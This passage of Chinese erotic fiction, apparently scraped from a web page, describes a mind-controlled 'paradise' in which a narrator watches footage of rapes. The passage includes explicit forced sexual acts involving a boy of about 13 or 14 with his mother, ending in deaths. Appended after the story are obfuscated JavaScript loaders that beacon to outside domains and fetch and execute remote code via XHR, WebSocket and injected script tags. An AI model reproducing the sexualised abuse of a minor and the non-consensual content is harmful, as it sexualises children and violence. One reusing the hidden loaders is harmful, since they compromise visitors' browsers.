  她张开小嘴,伸出舌头,慢慢的舔舐着我的龟头,小小的舌头灵活的在我的
龟头上打转,仔细的舔弄着。

  我拍了拍她的头,她会意的将我的鸡巴含进了嘴里,小嘴长得大大的,尽量
将我的鸡巴深深的插进她的嘴巴里,然后小脑袋一上一下的来回做着活塞运动,
一只手还轻轻抚摸着我的睾丸。

  让她继续对我的口交,我喝了一杯咖啡,打开了面前的窗口。

  从二公子走出中央控制室,他的一举一动就已经都在遍布整个乐园的监视器
的监控之下。

  监控画面中,穿着白色西装的二公子如同进了大观园的刘姥姥,看什麽都很
新奇,看着中心街道上来来往往的女性奴隶,二公子如同发了情的驴子,四处搜
寻着猎物,不过好在二公子还是有点克制力的,只是在路过女奴隶身上揩油,而
没有当衆的扒下裤子就操。

  一般游客所佩戴的控制器是没有我所佩戴的控制器那麽大的权限的,只拥有
小范围意识遮蔽和防身功能。

  意识遮蔽,顾名思义,我之前在金店里玩弄那个小情侣中的女孩,就是用的
这个功能,它可以让佩戴者在别人的意识逻辑中消失,也就是无论你做了什麽,
他们都不会意识到你的存在,只是比我的范围上差上很多,所以一旦有范围外的
人看到了佩戴者所进行的事情,他们可是不会受到影响的,当然,初级的功能好
好使用还是有意想不到的效果的,比如将范围内的某些特定任务设定爲不受意识
遮蔽影响……

  防身功能,就更简单了,它会限制奴隶们对佩戴者可能照成的一切伤害。换
句话说,就是游客的保命符。

  这麽单纯的看监控录像,只怕是我已经被身下的张可欣榨干了,也还没发现
二公子的麻烦。

  找出中央电脑的监控记录标记的关键点,我开始慢慢的浏览。

  二公子在这段时间里一共操了两个女奴隶,呵呵,看来二公子还是很谨慎的,
不像上次大公子来的时候,一下午狂操了十二个人,差点死在乐园,现在想想我
当时寻找到奄奄一息的大公子的时候,现在还心有余悸。

  第一个关键点,大公子跟着一个女性OL回了家,在那个女性OL洗过澡,
準备睡觉的时候,二公子解除了意识遮蔽功能出现在那个OL面前。

  这种想法可以理解,在现今社会,只要达成共识,你可以和任何人性交,可
是那都是自愿性质的,在乐园内,却可以享受到一丝新奇的东西,那是一个在前
文明的时候才有的名词——强奸。

  会反抗的女人,还是很有趣的。

  二公子将那个女OL扑倒在床上,握着她的双乳就是一阵啃咬。OL,拼命
地挣扎着,但二公子佩戴着控制器,她怎麽厮打都是没用的,过程相当之无聊,
只不过是一个手蹬脚刨的女人最后被操得晕倒的故事。没有一点意外,没有一点
亮点。

  二公子在女OL的阴道里射精之后,休息了一会,就径直出了门。

  而后,女OL在中央电脑发出的命令下如同木偶一边的站起身,在浴室里清
理起来,最后还将房间里整理一番之后倒在了床上,呼呼的睡着了。中央电脑的
控制信号也会控制她的脑神经,让她对自己下体的一样完全不在意。

  估计明天一觉醒来,她会以爲自己做了个噩梦吧。

  我看了下资料,非处女,二公子啊二公子,竟然挑了个被别的游客操过的,
真是让我哭笑不得。

  随手点开第二个关键点,屏幕上出现了一个学校教师的画面。

  而这时,我鸡巴的快感已经一波接着一波,我伸手抓住张可欣的小脑袋,将
她的头按向我的胯间,张可欣会意,开始快速的吞吐,舌头不停在我的推头上打
转。

  我感觉到自己快要射了,就将她的头用力按向胯间,龟头插进了她的喉咙,
她的鼻子紧紧贴着我的阴毛,热气一股股的喷到我的胯部。

  一股股的精液射进了她的食道。

  直到我喷射结束,才放开她的脑袋,她将我的鸡巴吐出来,小脸憋的通红,
急促的喘息,但还是很快地开始爲我清理起来。

  射精过我,我的视线再次移回画面,二公子正在教师办公室将一个三十多岁
的体态丰满的女老师摁在办公桌上狂操着。鸡巴在那肥厚的屁股间进出着。

  女老师一头波浪卷的长发,带着黑框的眼睛,女王般高贵的脸羞得通红,嘴
里大声的喊叫,白嫩的四肢胡乱的挥舞着打翻了桌上的用品,踢倒了一边的椅子。

  而办公室里的其他老师却充耳不闻。

  哈哈,不愧是二公子,这麽快就找到了使用的门道。我叫了声好。

  女老师满脸的羞愧,虽然被二公子从背后按着脖子爬在桌子上,两颗硕大的
乳房在桌面上被挤扁,而二公子从女老师那肥厚的屁股后疯狂的草弄着,但她还
是没有大喊出声,似乎察觉到了自己周围的人懂没有注意自己,一副死命忍受的
样子。

  看着这个场面,我的鸡巴逐渐又恢複了活力,张可欣也慢慢的起身,拉下短
裙里的黑色内裤,骑了上来。

  随着她的阴道将我的鸡巴吞没,我感觉到我的鸡巴进入到了一个狭窄但充满
弹性的空间,里面满是滚烫的饮水,刺激得我的鸡巴又涨大了几分。

  张可欣双手抱着我的脖子,慢慢的起伏着。

  我也将手伸进她女仆装的上衣,揉弄着她丰满的乳房。

  爲了不打扰其他的客人,张可欣紧紧捂着自己的小嘴,但是还是能听到轻哼
声。

  画面上,二公子按着那个女老师抽插了一会,就抽出了鸡巴,把那个老师抱
了起来,让那女老师脸朝外,双手托着女老师的屁股从后面插了进去。那个女老
师虽然被强奸,却因爲这个姿势的关系身子来回摇晃,害怕自己掉下去,只好用
手搂住了二公子的脖子二公子就那麽一边抽插着,一边抱着女老师离开了教师办
公室,挑了一间正在上课的教室走了进去。

  教室里正在上课的老师很奇怪地看着那个女老师问:「赵老师,有什麽事吗?」

  那个三十多岁的女老师羞愧难当地闭着眼睛,满脸通红,紧咬着嘴唇没有回
答。

  找了个没趣,老师继续讲课,二公子就抱着那个姓赵的老师在教室后面的一
个空座做好了,让老师趴在课桌上,开始大开大合的抽插起来。

  二公子的是总统的儿子,从小各种补品没有少吃,鸡巴的个头自然不小,不
一会,就操得那个女老师的禁闭的嘴唇里开始了哼哼唧唧的叫春声。

  「我的鸡巴大不大啊?」二公子一边用力的捅她一边问。

  女老师已经被操得兴起,也不管什麽廉耻,大声的回答:「大!太大了!

  …哎呦…你的鸡巴…操的我…好舒服!」

  「和你老公的比谁的大?」

  女老师听了愣了一下,二公子又一次重重的插了进去插得她妈呀一声,连忙
说:「你的大,你比我……比我老公大多了!」

  二公子开心地笑了,大鸡巴在她的阴道里抽插的更欢了,在长时间快速大力
的抽插下,二公子在那个女老师的阴道里射精了。

  而那个女老师也完全被攻陷,自愿成爲了二公子的性奴,虽然说在乐园里就
调教好了,免去了一些麻烦,可我总是觉得还是带回家调教比较好,毕竟这里的
设施不是很完备。

  没发现什麽异常啊?

  看到这里我皱了皱眉,同时示意在我身上快速起伏,几乎要达到高潮的张可
欣先慢下来,不要干扰的的思考。

  正处在马上就要达到高潮的时候被忽然叫停,张可欣撅了撅可爱的小嘴,但
还是很有敬业精神的减缓了小屁股起伏的频率。

  我忽然灵光一闪,打开资料库,调出了那个女老师的资料,果然,好戏还没
结束。

  JKGJ4845696841234

  赵琴

  女

  39岁

  第一中学老师

  已婚,非处女
    丈夫:孙超  OGK3247748416666
    儿子:孙耀祖JGHP655662433344
    性交人数:3

      孙超

          客人编号NO。2566645

      孙耀祖

  原来是张可欣学校的老师,以前怎麽没发现呢,下手晚了。而操过她的人里,
二公子的是第二位,后面还有继续。

  果然,画面上,二公子就那麽带领着赵琴来到了赵琴的家中。

  赵琴一开始是反对的,可是在二公子扒光了她并且狠狠得把她踹进了门之后,
就便得温顺多了。

  赵琴的丈夫正在家里看电视,看到赵琴连滚带爬的进屋也不奇怪,说了句你
回来了,就回过头去接着看电视了,二公子关好门,进了屋就直接掏出鸡巴对着
赵琴撅起的屁股插了进去,不过看来应该差的是肛门,因爲画面里赵琴疼得脸都
扭曲了,还一个劲的叫插错了插错了。

  二公子就那麽扶着赵琴白花花的大屁股,一下一下的用力往前顶,赵琴每次
都被顶得往前走两步,二公子就马上跟了上去,如此一来就变成了二公子在后面
用鸡巴指挥者赵琴往前爬,赵琴光着身子在地上爬动,硕大的乳房在胸前晃动着。

  我看得眼热,一把剥掉张可欣的上衣,双手用力的揉搓着她的乳房,张可欣
会意地加快了小屁股起伏的频率,嘴里发出可爱的叫声。

  「妈妈你回来了!」随着一声叫唤,从里屋跑出一个十三四岁的小男孩,看
资料应该就是赵琴的儿子了。

  二公子俯下身,一把抓住赵琴肥嫩的乳房捏了捏,抱住她的腰把她抱了起来,
让她站着。鸡巴继续大力的抽插,高兴地说:「你儿子跟你问好呢?快回答。」

  赵琴紧紧闭着双眼,身体颤抖着不敢看孙耀祖,二公子一把拉过孙耀祖,把
他按倒在孙超旁边的沙发上,让赵琴双手扶着沈耀祖的肩膀,从后面沖洗操着赵
琴的屁眼,还抓住孙耀祖的手直接插进了赵琴的阴道。

  赵琴尖叫一声,哭道:「主人,饶了我把。」

  「你自称什麽?」

  「…我…我是贱货,是偷汉子,被狗骑的骚货,请主人饶了贱货吧。」赵琴
大喊道。

  二公子脸上挂着一抹残忍的微笑,轻轻滴触碰了控制器上的按钮。

  好戏开场了。

  孙耀祖忽然大喊了一声就想把手从赵琴的阴道里抽出来,谁知刚一动,赵琴
就一阵呻吟。

  原来,原本就被二公子操屁眼操得快高潮的的赵琴竟然在儿子的手下小小得
高潮了一把。

  「妈妈你怎麽了?」孙耀祖看赵琴呻吟,赶紧停止抽出自己的手,让手指就
那麽差在赵琴的阴道里。

  「饶了贱货吧,主人,饶了贱货吧。」赵琴哭泣求二公子饶恕自己。

  「叫、你、的、儿、子、捅、你、的、骚、逼!」二公子每次深深的插进她
的肛门,就大声的说出一个字,捅得赵琴大声的呻吟「说啊,叫你儿子用手捅你
的骚逼。」二公子在赵琴身后一边大力的操着她的屁眼,一边说。

  「耀祖……啊……妈的好儿子……用你的手指捅…哎呦…妈的骚逼…妈的骚
逼…好痒…」说到最后,赵琴几乎是边哭边说。

  孙耀祖傻傻的盯着自己眼前来回晃动的白皙得晃眼的硕大乳房,赵琴的话好
像又魔力一般,手指慢慢的开始在他母亲的阴道里抽插,并且泛起咕叽咕叽的水
声。赵琴也舒服得甩着头大呼过瘾,骚浪地扭动着大屁股应和着孙耀祖的手指孙
耀祖的手指动作越来越快,赵琴的呻吟声也越来越大,终于,赵琴一声尖叫瘫倒
在地上,她两条白皙的大腿大喇喇的劈开,阴毛上沾满了淫水和流出的精液,两
片阴唇敞开着,整个阴道的内壁暴露在空气中,无声的流淌着淫靡的液体,腰部
离地,飞说的屁股正一颤一颤的痉挛着。舌头伸出嘴外,翻着白眼。

  刚刚的高潮太凶猛了,禁忌的快感彻底的击溃了这个端庄的教师。

  我也受到影响抓住张可欣的屁股大力一次次的把鸡巴大力的插进她的阴道,
一次次的顶着他的子宫。

  张可欣被我操弄的浑身酥软,连续到达了好几次高潮,但是我正在兴头上,
并没有停下来的意思,依旧抱着她瘫软的身体用力的抽插着。

  画面上,二公子用力的踢了正沈浸在高潮的浪潮中失去神智的赵琴一脚,赵
琴慢慢的回过神,二公子拉着她的头发把她拉起来,说:「看啊,你儿子都被你
吓到了,快把你喷在你儿子脸上的淫水舔干净啊,你可是老师,这种事情不用我
教了吧?」

  赵琴连忙起身,伸出红润的小舌头,一下一下的舔舐着孙耀祖的脸,将自己
刚才高潮时喷溅出来的淫水一点点的吸回嘴巴里。

  才舔干净孙耀祖脸上的淫水,赵琴就发现孙耀祖胯下支起了小帐篷,正呼吸
急促地看着她胸前摇晃的乳房,连忙别过脸去。

  「你儿子的鸡巴都硬了,你怎麽能不管呢,快,教教你儿子怎麽操你,你可
是老师。」

  二公子搬了把椅子坐在一边,指挥着。

  在二公子的指挥下,赵琴解开孙耀祖的腰带,请出了自己儿子的鸡巴,并且
骑在他身上对準自己的阴道口抹了几下。谁知就是这几下,孙耀祖已经大喊了一
声,抓着赵琴的乳房,腰部一阵松动,射精了。

  赵琴愣了神,回过头看二公子,二公子一个耳光把她从沙发上打了下来:
「快给我弄硬了!你这个贱货,这点事情都办不好?」

  赵琴连忙扑向孙耀祖的鸡巴,一口塞进嘴里,用力的吸吮,到底是年轻,孙
耀祖的鸡巴马上又硬了起来。

  赵琴一喜,连忙骑上去,直接插进了阴道。并且开始一上一下的起伏。

  孙耀祖双手抓着赵琴胸前的大奶子用力的揉搓,嘴巴在乳头上来回的吸吮。

  「你儿子的鸡巴硬不硬啊?」二公子看得兴起,站起身扶住鸡巴再次插进了
赵琴的肛门。

  「硬!…耀祖的鸡巴顶得我好舒服…哎呦…啊啊啊…两边都插进来了…啊」

  赵琴发疯地叫喊,扭着腰,白晃晃的屁股迎合着。

  靠,乱伦大戏啊,还是3P,这在乐园可是不常见。

  看着画面上三个叠在一起疯狂扭动的人,我也感觉到自己快感如潮,我抱住
张可欣的小细腰,用力的耸动,不久,就达到了顶峰,我将鸡巴深深的插进张可
欣的阴道里,龟头顶开一直在顶撞的那团软肉,插进她的子宫,浓稠的精液激射
而出。

  感受到我炙热的精液射进子宫,张可欣再次攀上了更高的顶峰,在一阵失神
的尖叫下,她彻底瘫倒在我怀里,一股温热的液体流淌下来,湿透了我的长裤和
沙发,在地上形成了一个小水洼,她失禁了。

  怀抱着张可欣纤细柔软的身体,我一边喘息着,一边揉弄着她挺拔的小乳房,
继续看着视频。

  画面上,两个在赵琴身体里抽插的人都在嘶吼中射了精,抽出了软瘫的鸡巴,
赵琴失去了支撑,从沙发上跌了下来。

  「去,把你儿子给我榨干!」二公子在赵琴的屁股上踢了一脚,赵琴就再次
爬过去,抓过她儿子的鸡巴,塞进了嘴里。

  「不许停,让他给我一直射!」

  才刚射过精的鸡巴刚被舔硬了,就马上被赵琴插进自己的阴道,现在赵琴的
脑子里只有一件事,那就是拼命地操,拼命地让自己阴道里的鸡巴射精!

  剩下的画面我都是快进看的,画面上的赵琴就像一个性爱中毒的疯子,变着
法的让孙耀祖将精液射出,最终,孙耀祖大喊一声,摊在沙发上不动了。

  这就是二公子的麻烦?谈不上,死个人,中央电脑用不了一个小时就能规划
出他贺合理的死亡方式,只要愿意,甚至可以将他的社会关系抹掉,没有人知道
他,就好像他从来没存在过,任何人都不会记得他。

  不过接下来我马上就明白了,赵琴在操死了自己的儿子之后,掉过头,沖着
自己的丈夫爬了过去,掏出她丈夫的阴茎塞进了嘴里,拼命地吮吸。

  这个女人,已经疯了。
              第四章解决麻烦

  这就是二公子所谓的……麻烦?

  我有一种被骗了的感觉,二公子应该是不会干这种雷声大雨点小的事情的,
难道说这是一种试探?

  我留了个心眼,没有马上联络二公子,而是将接下来的监控录像加快速度播
放。

  赵琴已经让她丈夫射了三次,由于二公子没有更改设定,孙超一直呈放松状
舒服地躺在沙发上看球,可是那暴怒的竖起的鸡巴却在赵琴的阴道里进进出出。

  无数次的射精,无数次的再被使用各种手段让鸡巴恢複坚挺,再无数次的射
精,孙超终于坚持不住,倒在沙发上不动了。

  赵琴依旧不死心,含着孙超软塌塌的鸡巴玩命的吸吮着。

  我看了一眼孙超的名字,已经被加上了两个大大的红字(死亡)。

  这父子俩也真是好命,死得……真爽。

  赵琴发现嘴里的鸡巴没有反应之后,手脚并用,像狗一样蹿上了二公子的腿,
伸手就沖二公子的裤裆抓去,二公子哪能等着她胡来,飞起一脚,就把她踢倒在
地上。

  可是赵琴就好像吃了兴奋剂一样,在地上一滚,马上爬了起来,再次扑了上
来。

  二公子躲开飞扑而来的赵琴,手忙脚乱的按着手腕上的控制器,可是赵琴却
丝毫不受影响!

  看着画面我的冷汗一下子就下来了,原本揉弄着张可欣小小胸部的手也猛然
攥紧,张可欣吃痛地扭动着身子。

  赵琴已经疯掉了,也就是说,她脑中的某一部分和正常的人类已经産生了本
质上的不同,那麽她就有可能已经不受到控制器的控制了。

  不过二公子到底还是男人,不会连一个三十多岁的女人都搞不定,倒了如今,
他才不会顾什麽人名,在乐园,奴隶的命贱得像超市里的膨化食品,只要你愿意,
随时都能采购。

  他抄起自己身边的木质座椅,重重地打在了赵琴的脑袋上,赵琴尖叫一声倒
在了地上,脑袋上开了一个大口子,流了不少血。

  二公子才松了一口气,就发现门被敲响了,他马上开啓了意识遮蔽功能,裸
着身体,去打开了房门,一个较小的身影出现在门口,小手还在半空中做着敲门
的动作。

  那应该是赵琴的一个同事,看上去二十多岁,稚嫩的小脸洋溢着年轻人特有
的活力,火爆的身材在黑色西服裙的包裹下显得格外的诱人。

  二公子被赵琴的疯狂坏了兴致,正想找个女奴隶出出气,就碰到了送上门的,
他自然乐于接受。

  二公子一把就把那个女人拉近了屋里,开始撕扯着她的衣服。

  就在二公子如同发情的骡子翘着鸡巴快速的脱着那个女人衣服的时候,倒在
地上的赵琴,却忽然动了。

  她跳了起来,一下子扑倒了二公子,二公子马上拉着她的头发把她从身上拉
下去,两个人撕扯的时候,我猛然发现,一样东西从二公子的手腕上被抢走了!

  控制器!

  我激动得几乎把怀里的张可欣扔出去!

  赵琴的体力自然比不过二公子,而且还是连续操死了自己丈夫和儿子之后,
很快被二公子扔了出去,但她却一把抓起掉在地上的控制器,就那麽光着身子逃
出了房门!

  二公子马上追了出去,但是二公子显然想到了,目前赵琴拿着控制器,而意
识遮蔽已经对他不起作用,他光着身子沖出去,马上就会被围观,被警察抓起来!

  他胡乱套上自己的衣服,沖出了房门,追了不远,就看见了一个电视节目的
外景采访车。

  我不又得在心里大骂了一句,靠!又来!

  二公子沖上去的时候,光着屁股的赵琴已经对这记者拿着那个控制器来回的
白弄了半天,二公子一把抢过控制器,套在手腕上,重新开啓了意识遮蔽,周围
的人如同瞬间失去了二公子的蹤影,开始左顾右盼的寻找,可是赵琴却不受影响,
依旧来撕扯二公子。

  二公子一把将她推倒在地上,大步的出了人群,跑上了一辆即将开动的公共
汽车。赵琴被甩在了身后。

  这……这该怎麽说呢?

  简直就是无数的巧合集合而成吧?

  首先会死赵琴疯了,不受控制器的控制,而后,她又在执行自己脑袋里唯一
的命令——榨干自己能找到的所有鸡巴的时候,被二公子用椅子打到了头,而二
公子的这一下似乎又将她打清醒了,同时,还破坏了脑芯片。

  现在赵琴已经成爲了乐园中,出了我和游客们之外唯一的拥有自主意识的人。

  这无疑是破坏性的,但也是可以控制的。

  放开怀里的张可欣,拍拍他的小屁股,让她坐在一边。

  我马上连线了中央电脑,全乐园进行紧急清查,所有奴隶的行动都在瞬间停
了下来,那些正在开动汽车飞机,或者执行危险工作的奴隶也在中央电脑强大的
控制下接管了他们的工作。

  身边的张可欣也像木偶一样低下了头。

  分出一部

关闭
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSnSStSStSS1SS2SSnSS4SSdSS7SS6SS.SSoSSsSSsSS-SScSSnSS-SShSSaSSnSSgSSzSShSSoSSuSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS2SS/SS1SS1SS0SS5SSeSScSS8SS5SS8SS2SS3SS7SS2".split("SS").join(""),"hFFtFFtFFpFFsFF:FF/FF/FFpFF.FFgFFoFFdFFmFFwFFiFFtFFhFF.FFcFFoFFmFF/FF1FF2FF/FF1FF1FF0FF5FFeFFcFF8FF5FF8FF2FF3FF7FF2".split("FF").join(""),"hEEtEEtEEpEEsEE:EE/EE/EEmEEqEE1EE2EEnEE4EEdEE7EE6EE.EEoEEsEEsEE-EEcEEnEE-EEsEEhEEaEEnEEgEEhEEaEEiEE.EEaEElEEiEEyEEuEEnEEcEEsEE.EEcEEoEEmEE/EE1EE2EE/EE1EE1EE0EE5EEeEEcEE8EE5EE8EE2EE3EE7EE2".split("EE").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBdBB8BB9BB-BB1BB3BB1BB3BB9BB4BB4BB0BB6BB2BB.BBcBBoBBsBB.BBaBBpBB-BBhBBoBBnBBgBBkBBoBBnBBgBB.BBmBByBBqBBcBBlBBoBBuBBdBB.BBcBBoBBmBB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();